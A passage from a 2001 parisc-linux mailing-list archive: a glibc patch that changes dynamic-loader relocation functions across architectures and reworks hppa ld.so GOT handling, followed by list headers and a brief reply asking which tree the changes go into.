@@ -86,7 +86,7 @@ elf_dynamic_do_rel (struct link_map *map
 # endif
 #endif
 	  for (; relative < r; ++relative)
-	    elf_machine_rel_relative (l_addr, relative,
+	    elf_machine_rel_relative (map, l_addr, relative,
 				      (void *) (l_addr + relative->r_offset));
 
       if (map->l_info[VERSYMIDX (DT_VERSYM)])
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/alpha/dl-machine.h glibc-2.2.4-3/sysdeps/alpha/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/alpha/dl-machine.h	Mon Oct 22 14:15:48 2001
+++ glibc-2.2.4-3/sysdeps/alpha/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -537,7 +537,8 @@ elf_machine_rela (struct link_map *map,
 }
 
 static inline void
-elf_machine_rela_relative (Elf64_Addr l_addr, const Elf64_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf64_Addr l_addr,
+			   const Elf64_Rela *reloc,
 			   Elf64_Addr *const reloc_addr)
 {
   /* XXX Make some timings.  Maybe it's preverable to test for
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/arm/dl-machine.h glibc-2.2.4-3/sysdeps/arm/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/arm/dl-machine.h	Mon Oct 22 14:15:48 2001
+++ glibc-2.2.4-3/sysdeps/arm/dl-machine.h	Mon Oct 22 12:22:09 2001
@@ -518,7 +518,8 @@ elf_machine_rel (struct link_map *map, c
 }
 
 static inline void
-elf_machine_rel_relative (Elf32_Addr l_addr, const Elf32_Rel *reloc,
+elf_machine_rel_relative (struct link_map *map, Elf32_Addr l_addr,
+			  const Elf32_Rel *reloc,
 			  Elf32_Addr *const reloc_addr)
 {
   *reloc_addr += l_addr;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/cris/dl-machine.h glibc-2.2.4-3/sysdeps/cris/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/cris/dl-machine.h	Mon Oct 22 14:15:48 2001
+++ glibc-2.2.4-3/sysdeps/cris/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -366,7 +366,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf32_Addr l_addr, const Elf32_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
+			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
 {
   *reloc_addr = l_addr + reloc->r_addend;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/hppa/dl-fptr.c glibc-2.2.4-3/sysdeps/hppa/dl-fptr.c
--- glibc-2.2.4-3.orig/sysdeps/hppa/dl-fptr.c	Mon Oct 22 14:22:23 2001
+++ glibc-2.2.4-3/sysdeps/hppa/dl-fptr.c	Mon Oct 22 14:04:04 2001
@@ -188,7 +188,8 @@ _dl_lookup_address (const void *address)
   Elf32_Addr addr = (Elf32_Addr) address;
   struct hppa_fptr *f;
 
-  address = (unsigned long)address &~ 3; /* Clear the bottom two bits.  See make_fptr. */
+ /* Clear the bottom two bits.  See make_fptr. */
+  address = (const void *) ((unsigned long) address &~ 3);
 
 #ifdef _LIBC_REENTRANT
   /* Make sure we are alone.  */
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/hppa/dl-machine.h glibc-2.2.4-3/sysdeps/hppa/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/hppa/dl-machine.h	Mon Oct 22 14:22:23 2001
+++ glibc-2.2.4-3/sysdeps/hppa/dl-machine.h	Mon Oct 22 22:16:09 2001
@@ -73,45 +73,59 @@ elf_machine_matches_host (const Elf32_Eh
   return ehdr->e_machine == EM_PARISC;
 }
 
+/* Return the run-time address of .got.  */
+static inline Elf32_Addr
+runtime_got (void) __attribute__ ((const));
+
+static inline Elf32_Addr
+runtime_got (void)
+{
+  Elf32_Addr got;
+
+  asm ("b,l	1f,%0\n"
+"	depi	0,31,2,%0\n"
+"1:	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 8),%0\n"
+"	ldo	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 12)(%%r1),%0"
+       : "=r" (got) : : "r1");
+
+  return got;
+}
 
 /* Return the link-time address of _DYNAMIC.  */
 static inline Elf32_Addr
+elf_machine_dynamic (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_dynamic (void)
 {
   Elf32_Addr dynamic;
 
-#if 0
-  /* Use this method if GOT address not yet set up.  */
-  asm (
-"	b,l	1f,%0\n"
+  asm ("b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 8),%0\n"
 "	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
-      : "=r" (dynamic) : : "r1");
-#else
-  /* This works because we already have our GOT address available.  */
-  dynamic = (Elf32_Addr) &_DYNAMIC;
-#endif
+       : "=r" (dynamic) : : "r1");
 
   return dynamic;
 }
 
 /* Return the run-time load address of the shared object.  */
 static inline Elf32_Addr
+elf_machine_load_address (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_load_address (void)
 {
-  Elf32_Addr dynamic, dynamic_linkaddress;
+  Elf32_Addr dynamic;
 
   asm (
 "	b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_DYNAMIC - ($PIC_pcrel$0 - 8),%0\n"
-"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%1\n"
-"	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 16),%0\n"
-"	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 20)(%%r1),%0\n"
-   : "=r" (dynamic_linkaddress), "=r" (dynamic) : : "r1");
+"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
+   : "=r" (dynamic) : : "r1");
 
-  return dynamic - dynamic_linkaddress;
+  return dynamic - elf_machine_dynamic ();
 }
 
 /* Fixup a PLT entry to bounce directly to the function at VALUE.  */
@@ -174,13 +188,6 @@ elf_machine_runtime_setup (struct link_m
 	      fptr = (struct hppa_fptr *) (reloc->r_offset + l_addr);
 	      if (r_sym != 0)
 		{
-		  /* Relocate the pointer to the stub.  */
-		  fptr->func += l_addr;
-		  /* Instead of the LTP value, we put the reloc offset
-		     here.  The trampoline code will load the proper
-		     LTP and pass the reloc offset to the fixup
-		     function.  */
-		  fptr->gp = iplt - jmprel;
 		  if (!got)
 		    {
 		      static union {
@@ -188,27 +195,22 @@ elf_machine_runtime_setup (struct link_m
 			Elf32_Addr i[2];
 		      } sig = {{0x00,0xc0,0xff,0xee, 0xde,0xad,0xbe,0xef}};
 
-		      /* Find our .got section.  It's right after the
-			 stub.  */
-		      got = (Elf32_Addr *) (fptr->func + GOT_FROM_PLT_STUB);
-
-		      /* Sanity check to see if the address we are
-                         going to check below is within a reasonable
-                         approximation of the bounds of the PLT (or,
-                         at least, is at an address that won't fault
-                         on read).  Then check for the magic signature
-                         above. */
-		      if (fptr->func < (Elf32_Addr) fptr + sizeof(*fptr))
-			  return 0;
-		      if (fptr->func >
-			  ((Elf32_Addr) fptr
-			   + SIZEOF_PLT_STUB
-			   + ((l->l_info[DT_PLTRELSZ]->d_un.d_val / sizeof (Elf32_Rela))
-			      * 8)))
-			return 0;
+		      got = (Elf32_Addr *) runtime_got ();
+
+		      /* The .got section is right after the .plt stub. 
+			 Check the magic signature.  */
 		      if (got[-2] != sig.i[0] || got[-1] != sig.i[1])
 			return 0; /* No lazy linking for you! */
 		    }
+
+		  /* Relocate the pointer to the stub.  */
+		  fptr->func = (Elf32_Addr) got - GOT_FROM_PLT_STUB;
+
+		  /* Instead of the LTP value, we put the reloc offset
+		     here.  The trampoline code will load the proper
+		     LTP and pass the reloc offset to the fixup
+		     function.  */
+		  fptr->gp = iplt - jmprel;
 		}
 	      else
 		{
@@ -278,22 +280,24 @@ asm (									\
 "	stw	%r25,-40(%sp)\n" /* argc */				\
 "	stw	%r24,-44(%sp)\n" /* argv */				\
 									\
-	/* We need the LTP, and we need it now. */			\
-	/* $PIC_pcrel$0 points 8 bytes past the current instruction,	\
-	   just like a branch reloc.  This sequence gets us the runtime	\
-	   address of _DYNAMIC. */					\
+	/* We need the LTP, and we need it now.				\
+	   $PIC_pcrel$0 points 8 bytes past the current instruction,	\
+	   just like a branch reloc.  This sequence gets us the		\
+	   runtime address of _DYNAMIC. */				\
 "	bl	0f,%r19\n"						\
 "	depi	0,31,2,%r19\n"	/* clear priviledge bits */		\
 "0:	addil	L'_DYNAMIC - ($PIC_pcrel$0 - 8),%r19\n"			\
 "	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%r1),%r26\n"		\
 									\
-	/* Also get the link time address from the first entry of the GOT.  */ \
+	/* The link time address is stored in the first entry of the	\
+	   GOT.  */							\
 "	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 16),%r19\n"	\
 "	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 20)(%r1),%r20\n" \
 									\
 "	sub	%r26,%r20,%r20\n"	/* Calculate load offset */	\
 									\
-	/* Rummage through the dynamic entries, looking for DT_PLTGOT.  */ \
+	/* Rummage through the dynamic entries, looking for		\
+	   DT_PLTGOT.  */						\
 "	ldw,ma	8(%r26),%r19\n"						\
 "1:	cmpib,=,n 3,%r19,2f\n"	/* tag == DT_PLTGOT? */			\
 "	cmpib,<>,n 0,%r19,1b\n"						\
@@ -313,8 +317,8 @@ asm (									\
 	   |         32 bytes of magic       |				\
 	   |---------------------------------|				\
 	   | 32 bytes argument/sp save area  |				\
-	   |---------------------------------|  ((current->mm->env_end) + 63 & ~63) \
-	   |         N bytes of slack        |				\
+	   |---------------------------------|  ((current->mm->env_end)	\
+	   |         N bytes of slack        |	 + 63 & ~63)		\
 	   |---------------------------------|				\
 	   |      envvar and arg strings     |				\
 	   |---------------------------------|				\
@@ -382,7 +386,7 @@ asm (									\
 "	bl	_dl_init,%r2\n"						\
 "	ldo	4(%r23),%r23\n"	/* delay slot */			\
 									\
-	/* Reload argc, argv  to the registers start.S expects them in (feh) */ \
+	/* Reload argc, argv to the registers start.S expects.  */	\
 "	ldw	-40(%sp),%r25\n"					\
 "	ldw	-44(%sp),%r24\n"					\
 									\
@@ -394,8 +398,8 @@ asm (									\
 "	.word	0xdeadbeef\n"						\
 "	.previous\n"							\
 									\
-	/* %r3 contains a function pointer, we need to mask out the lower \
-	 * bits and load the gp and jump address. */			\
+	/* %r3 contains a function pointer, we need to mask out the	\
+	   lower bits and load the gp and jump address. */		\
 "	depi	0,31,2,%r3\n"						\
 "	ldw	0(%r3),%r2\n"						\
 "	addil	LT'__dl_fini_plabel,%r19\n"				\
@@ -413,42 +417,40 @@ asm (									\
    Enter with r19 = reloc offset, r20 = got-8, r21 = fixup ltp.  */
 #define TRAMPOLINE_TEMPLATE(tramp_name, fixup_name) \
   extern void tramp_name (void);		    \
-  asm ( "\
-	/* Trampoline for " #tramp_name " */
-	.globl " #tramp_name "
-	.type " #tramp_name ",@function
-" #tramp_name ":
-	/* Save return pointer */
-	stw	%r2,-20(%sp)
-	/* Save argument registers in the call stack frame. */
-	stw	%r26,-36(%sp)
-	stw	%r25,-40(%sp)
-	stw	%r24,-44(%sp)
-	stw	%r23,-48(%sp)
-	/* Build a call frame. */
-	stwm	%sp,64(%sp)
-
-	/* Set up args to fixup func.  */
-	ldw	8+4(%r20),%r26	/* got[1] == struct link_map *  */
-	copy	%r19,%r25	/* reloc offset  */
-
-	/* Call the real address resolver. */
-	bl	" #fixup_name ",%r2
-	copy	%r21,%r19	/* delay slot, set fixup func ltp */
-
-	ldwm	-64(%sp),%sp
-	/* Arguments. */
-	ldw	-36(%sp),%r26
-	ldw	-40(%sp),%r25
-	ldw	-44(%sp),%r24
-	ldw	-48(%sp),%r23
-	/* Return pointer. */
-	ldw	-20(%sp),%r2
-	/* Call the real function. */
-	ldw	0(%r28),%r22
-	bv	%r0(%r22)
-	ldw	4(%r28),%r19
-");
+  asm (".globl " #tramp_name "\n"					\
+"	.type " #tramp_name ",@function\n"				\
+ #tramp_name ":\n"							\
+	/* Save return pointer */					\
+"	stw	%r2,-20(%sp)\n"						\
+	/* Save argument registers in the call stack frame. */		\
+"	stw	%r26,-36(%sp)\n"					\
+"	stw	%r25,-40(%sp)\n"					\
+"	stw	%r24,-44(%sp)\n"					\
+"	stw	%r23,-48(%sp)\n"					\
+	/* Build a call frame. */					\
+"	stwm	%sp,64(%sp)\n"						\
+									\
+	/* Set up args to fixup func.  */				\
+"	ldw	8+4(%r20),%r26\n" /* got[1] == struct link_map *  */	\
+"	copy	%r19,%r25\n"	  /* reloc offset  */			\
+									\
+	/* Call the real address resolver. */				\
+"	bl	" #fixup_name ",%r2\n"					\
+"	copy	%r21,%r19\n"	  /* delay slot, set fixup func ltp */	\
+									\
+"	ldwm	-64(%sp),%sp\n"						\
+	/* Arguments. */						\
+"	ldw	-36(%sp),%r26\n"					\
+"	ldw	-40(%sp),%r25\n"					\
+"	ldw	-44(%sp),%r24\n"					\
+"	ldw	-48(%sp),%r23\n"					\
+	/* Return pointer. */						\
+"	ldw	-20(%sp),%r2\n"						\
+	/* Call the real function. */					\
+"	ldw	0(%r28),%r22\n"						\
+"	bv	%r0(%r22)\n"						\
+"	ldw	4(%r28),%r19\n"						\
+       );
 
 #ifndef PROF
 #define ELF_MACHINE_RUNTIME_TRAMPOLINE			\
@@ -476,6 +478,9 @@ asm (									\
 /* We only use RELA. */
 #define ELF_MACHINE_NO_REL 1
 
+/* DT_RELASZ includes .rela.plt  */
+#define ELF_MACHINE_PLTREL_OVERLAP 1
+
 /* Return the address of the entry point. */
 #define ELF_MACHINE_START_ADDRESS(map, start) \
   DL_FUNCTION_ADDRESS (map, start)
@@ -538,7 +543,7 @@ elf_machine_rela (struct link_map *map, 
 	return;
 #endif
       /* .eh_frame can have unaligned relocs.  */
-      if ((unsigned long)reloc_addr & 3)
+      if ((unsigned long) reloc_addr & 3)
 	{
 	  char *rel_addr = (char *) reloc_addr;
 	  rel_addr[0] = value >> 24;
@@ -574,14 +579,14 @@ elf_machine_rela (struct link_map *map, 
 	   probably haven't relocated the necessary values by this
 	   point so we have to find them ourselves. */
 
-	asm ("bl	0f,%0
-	      depi	0,31,2,%0
-0:	      addil	L'__boot_ldso_fptr - ($PIC_pcrel$0 - 8),%0
-	      ldo	R'__boot_ldso_fptr - ($PIC_pcrel$0 - 12)(%%r1),%1
-	      addil	L'__fptr_root - ($PIC_pcrel$0 - 16),%0
-	      ldo	R'__fptr_root - ($PIC_pcrel$0 - 20)(%%r1),%2
-	      addil	L'__fptr_count - ($PIC_pcrel$0 - 24),%0
-	      ldo	R'__fptr_count - ($PIC_pcrel$0 - 28)(%%r1),%3"
+	asm ("bl	0f,%0\n\t"
+	     "depi	0,31,2,%0\n\t"
+	     "0:\taddil	L'__boot_ldso_fptr - ($PIC_pcrel$0 - 8),%0\n\t"
+	     "ldo	R'__boot_ldso_fptr - ($PIC_pcrel$0 - 12)(%%r1),%1\n\t"
+	     "addil	L'__fptr_root - ($PIC_pcrel$0 - 16),%0\n\t"
+	     "ldo	R'__fptr_root - ($PIC_pcrel$0 - 20)(%%r1),%2\n\t"
+	     "addil	L'__fptr_count - ($PIC_pcrel$0 - 24),%0\n\t"
+	     "ldo	R'__fptr_count - ($PIC_pcrel$0 - 28)(%%r1),%3"
 	     :
 	     "=r" (dot),
 	     "=r" (p_boot_ldso_fptr),
@@ -635,11 +640,51 @@ elf_machine_rela (struct link_map *map, 
   *reloc_addr = value;
 }
 
+/* hppa doesn't have an R_PARISC_RELATIVE reloc, but uses relocs with
+   ELF32_R_SYM (info) == 0 for a similar purpose.  */
 static inline void
-elf_machine_rela_relative (Elf32_Addr l_addr, const Elf32_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
+			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
 {
-  /* XXX Nothing to do.  There is no relative relocation, right?  */
+  unsigned long const r_type = ELF32_R_TYPE (reloc->r_info);
+  Elf32_Addr value;
+
+  value = l_addr + reloc->r_addend;
+
+  if (ELF32_R_SYM (reloc->r_info) != 0)
+    asm volatile ("iitlbp	%r0,(%r0)");  /* Crash. */
+
+  switch (r_type)
+    {
+    case R_PARISC_DIR32:
+      /* .eh_frame can have unaligned relocs.  */
+      if ((unsigned long) reloc_addr & 3)
+	{
+	  char *rel_addr = (char *) reloc_addr;
+	  rel_addr[0] = value >> 24;
+	  rel_addr[1] = value >> 16;
+	  rel_addr[2] = value >> 8;
+	  rel_addr[3] = value;
+	  return;
+	}
+      break;
+
+    case R_PARISC_PLABEL32:
+      break;
+
+    case R_PARISC_IPLT:
+      elf_machine_fixup_plt (NULL, map, reloc, reloc_addr, value);
+      return;
+
+    case R_PARISC_NONE:
+      return;
+
+    default:
+      _dl_reloc_bad_type (map, r_type, 0);
+    }
+
+  *reloc_addr = value;
 }
 
 static inline void
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/i386/dl-machine.h glibc-2.2.4-3/sysdeps/i386/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/i386/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/i386/dl-machine.h	Mon Oct 22 12:22:09 2001
@@ -379,7 +379,8 @@ elf_machine_rel (struct link_map *map, c
 }
 
 static inline void
-elf_machine_rel_relative (Elf32_Addr l_addr, const Elf32_Rel *reloc,
+elf_machine_rel_relative (struct link_map *map, Elf32_Addr l_addr,
+			  const Elf32_Rel *reloc,
 			  Elf32_Addr *const reloc_addr)
 {
   assert (ELF32_R_TYPE (reloc->r_info) == R_386_RELATIVE);
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/ia64/dl-machine.h glibc-2.2.4-3/sysdeps/ia64/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/ia64/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/ia64/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -580,7 +580,8 @@ elf_machine_rela (struct link_map *map,
 }
 
 static inline void
-elf_machine_rela_relative (Elf64_Addr l_addr, const Elf64_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf64_Addr l_addr,
+			   const Elf64_Rela *reloc,
 			   Elf64_Addr *const reloc_addr)
 {
   /* ??? Ignore MSB and Instruction format for now.  */
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/m68k/dl-machine.h glibc-2.2.4-3/sysdeps/m68k/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/m68k/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/m68k/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -299,7 +299,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf32_Addr l_addr, const Elf32_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
+			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
 {
   *reloc_addr = l_addr + reloc->r_addend;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/mips/dl-machine.h glibc-2.2.4-3/sysdeps/mips/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/mips/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/mips/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -535,7 +535,8 @@ elf_machine_rel (struct link_map *map, c
 }
 
 static inline void
-elf_machine_rel_relative (ElfW(Addr) l_addr, const ElfW(Rel) *reloc,
+elf_machine_rel_relative (struct link_map *map, ElfW(Addr) l_addr,
+			  const ElfW(Rel) *reloc,
 			  ElfW(Addr) *const reloc_addr)
 {
   /* XXX Nothing to do.  There is no relative relocation, right?  */
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/mips/mips64/dl-machine.h glibc-2.2.4-3/sysdeps/mips/mips64/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/mips/mips64/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/mips/mips64/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -576,7 +576,8 @@ elf_machine_rel (struct link_map *map, c
 }
 
 static inline void
-elf_machine_rel_relative (ElfW(Addr) l_addr, const ElfW(Rel) *reloc,
+elf_machine_rel_relative (struct link_map *map, ElfW(Addr) l_addr,
+			  const ElfW(Rel) *reloc,
 			  ElfW(Addr) *const reloc_addr)
 {
   /* XXX Nothing to do.  There is no relative relocation, right?  */
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/powerpc/dl-machine.h glibc-2.2.4-3/sysdeps/powerpc/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/powerpc/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/powerpc/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -394,7 +394,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf32_Addr l_addr, const Elf32_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
+			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
 {
   *reloc_addr = l_addr + reloc->r_addend;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/s390/s390-32/dl-machine.h glibc-2.2.4-3/sysdeps/s390/s390-32/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/s390/s390-32/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/s390/s390-32/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -440,7 +440,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf32_Addr l_addr, const Elf32_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
+			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
 {
   *reloc_addr = l_addr + reloc->r_addend;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/s390/s390-64/dl-machine.h glibc-2.2.4-3/sysdeps/s390/s390-64/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/s390/s390-64/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/s390/s390-64/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -420,7 +420,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf64_Addr l_addr, const Elf64_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf64_Addr l_addr,
+			   const Elf64_Rela *reloc,
 			   Elf64_Addr *const reloc_addr)
 {
   *reloc_addr = l_addr + reloc->r_addend;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/sh/dl-machine.h glibc-2.2.4-3/sysdeps/sh/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/sh/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/sh/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -558,7 +558,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf32_Addr l_addr, const Elf32_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
+			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
 {
   Elf32_Addr value;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/sparc/sparc32/dl-machine.h glibc-2.2.4-3/sysdeps/sparc/sparc32/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/sparc/sparc32/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/sparc/sparc32/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -461,7 +461,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf32_Addr l_addr, const Elf32_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
+			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
 {
   *reloc_addr += l_addr + reloc->r_addend;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/sparc/sparc64/dl-machine.h glibc-2.2.4-3/sysdeps/sparc/sparc64/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/sparc/sparc64/dl-machine.h	Mon Oct 22 14:15:49 2001
+++ glibc-2.2.4-3/sysdeps/sparc/sparc64/dl-machine.h	Mon Oct 22 12:18:30 2001
@@ -370,7 +370,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf64_Addr l_addr, const Elf64_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf64_Addr l_addr,
+			   const Elf64_Rela *reloc,
 			   Elf64_Addr *const reloc_addr)
 {
   *reloc_addr = l_addr + reloc->r_addend;
diff -urpN -x*~ -xTAGS -xdebian glibc-2.2.4-3.orig/sysdeps/x86_64/dl-machine.h glibc-2.2.4-3/sysdeps/x86_64/dl-machine.h
--- glibc-2.2.4-3.orig/sysdeps/x86_64/dl-machine.h	Mon Oct 22 14:15:50 2001
+++ glibc-2.2.4-3/sysdeps/x86_64/dl-machine.h	Mon Oct 22 12:22:09 2001
@@ -393,7 +393,8 @@ elf_machine_rela (struct link_map *map, 
 }
 
 static inline void
-elf_machine_rela_relative (Elf64_Addr l_addr, const Elf64_Rela *reloc,
+elf_machine_rela_relative (struct link_map *map, Elf64_Addr l_addr,
+			   const Elf64_Rela *reloc,
 			   Elf64_Addr *const reloc_addr)
 {
   assert (ELF64_R_TYPE (reloc->r_info) == R_X86_64_RELATIVE);




From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Mon, 22 Oct 2001 12:04:05 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20011022120405.A5199@megatonmonkey.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011022233534.X1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620666 28720 80.91.229.3 (22 Nov 2014 01:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:26 +0000 (UTC)
To: Alan Modra <amodra@bigpond.net.au>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 22 10:02:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 870DF482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Oct 2001 10:02:27 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9MGuDG05333;
	Mon, 22 Oct 2001 12:56:13 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9MG45I05224;
	Mon, 22 Oct 2001 12:04:05 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Alan Modra <amodra@bigpond.net.au>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011022233534.X1037@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Mon, Oct 22, 2001 at 11:35:34PM +0930
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (35% Sync Ratio [====......])
Xref: news.gmane.org gmane.linux.ports.parisc:12775

A,

Re: Latest glibc changes being applied to what tree?

Are we to assume that the glibc in pehc is now being kept up to date?
Or have these changes made it to the pool on debian? (via hppa's dpatch).

c.




From - Thu Nov 08 21:20:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Tue, 23 Oct 2001 01:41:08 +0930
Lines: 18
Approved: news@gmane.org
Message-ID: <20011023014108.B1037@bubble.sa.bigpond.net.au>
